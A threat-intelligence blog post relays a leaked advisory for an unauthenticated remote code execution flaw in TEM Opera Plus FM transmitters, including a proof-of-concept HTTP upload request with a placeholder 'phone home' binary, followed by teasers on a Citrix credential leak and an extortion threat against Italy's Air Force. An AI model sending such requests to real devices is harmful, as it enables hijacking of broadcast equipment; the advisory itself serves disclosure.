Remote Code Execution Vulnerability for TEM Opera Plus FM Family Transmitter is Leaked

In a hacker forum a new alleged remote code execution vulnerability leak is detected for TEM Opera Plus FM Family Transmitter.


EM Opera Plus FM Family Transmitter 35.45 Remote Code Execution

Vendor: Telecomunicazioni Elettro Milano (TEM) S.r.l.

Product web page: https://www.tem-italy.it

Affected version: Software version: 35.45

Webserver version: 1.7

Summary: This new line of Opera plus FM Transmitters combines very

high efficiency, high reliability and low energy consumption in compact

solutions. They have innovative functions and features that can eliminate

the costs required by additional equipment: automatic exchange of audio

sources, built-in stereo encoder, integrated RDS encoder, parallel I/O

card, connectivity through GSM telemetry and/or TCP IP / SNMP / SMTP

Webserver.

Desc: The device allows access to an unprotected endpoint that allows

MPFS File System binary image upload without authentication. The MPFS2

file system module provides a light-weight read-only file system that

can be stored in external EEPROM, external serial Flash, or internal

Flash program memory. This file system serves as the basis for the

HTTP2 web server module, but is also used by the SNMP module and is

available to other applications that require basic read-only storage

capabilities. This can be exploited to overwrite the flash program

memory that holds the web server's main interfaces and execute arbitrary

code.

Tested on: Webserver

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2023-5799

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5799.php

18.08.2023

--

POST /mpfsupload HTTP/1.1

Host: 192.168.1.2:8000

Content-Length: 251

Cache-Control: max-age=0

Content-Type: multipart/form-data; boundary=----joxypoxy2

User-Agent: MPFS2_PoC/2.0c

Accept: */*

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Connection: close

------joxypoxy2

Content-Disposition: form-data; name="i"; filename="MPFSimg2.bin"

Content-Type: application/octet-stream

MPFS...<CGI BINARY PHONE HOME>

-----joxypoxy2--

HTTP/1.1 200 OK

Connection: close

Content-Type: text/html

<html><body style="margin:100px"><b>MPFS Update Successful</b><p><a href="/">Site main page</a></body></html>

# 0day.today [2024-03-04] #

Popular posts from this blog

Unauthorized Citrix Access Leak is Detected for Ignazio Messina & C SpA

Image
In a hacker forum an unauthorized citrix access leak is detected allegedly belongs to Ignazio Messina & C SpA. https://www.messinaline.it/ Target Share credentials, access doors to internal company tools. All tested and working Credit depends on content Content Servers Accesses (Citrix) You must either reply or click 'Like' to see the hidden information contained here. ===============CITRIX CONNECTION============================== fm Internet: cloud.messinaline.it OR https://cloud.messinaline.it/vpn/index.html user: *** pass: *** *** ***
Read more

Italy Air Force - Ministry of Defense Website is Hacked

Image
In a hacker forum a new alleged hack announcement is detected for Italy Air Force - Ministry of Defense. We gained access to the military aviation and military meteorology systems of the Italian state. military flights over these systems; flight records; Data regarding airport messaging and other processes have been received by us. As an example, we share some data with you. If the relevant state donates 500,000 Euros to the foundation whose information is given below, we will delete all the data we have and support them in identifying vulnerabilities and closing security vulnerabilities. If payment is not made to the foundation whose information is given below, we will publish all the military data we have on all platforms free of charge. We gained access to the ITALY military aero and meteorological systems, through which we obtained DATA on military flights, military flight records, airport messaging and other information. We share some data with you as an example. If the relevant g...
Read more

Alleged Breach of Orio al Serio International Airport by Pro-Russian Threat Group

Image
 The pro-Russian threat group Just Evil has claimed to have breached the systems of Orio al Serio International Airport. The announcement was made on their Telegram channel, where the group claimed to have gained access to the airport's servers. To substantiate their claim, they posted a screenshot that appears to be of the configuration interface of a network or telecommunications device. This alleged breach is significant given Just Evil's history and their association with targeting NATO countries. - Just Evil claims to have breached Orio al Serio International Airport's systems. - A supporting screenshot was posted, likely showing a network or telecommunications device's configuration interface. - Just Evil is a pro-Russian threat group, founded by KillMilk, a former administrator of KillNet, known for targeting NATO countries. The breach of Orio al Serio International Airport's systems by Just Evil poses a serious cybersecurity threat. Given the group's his...
Read more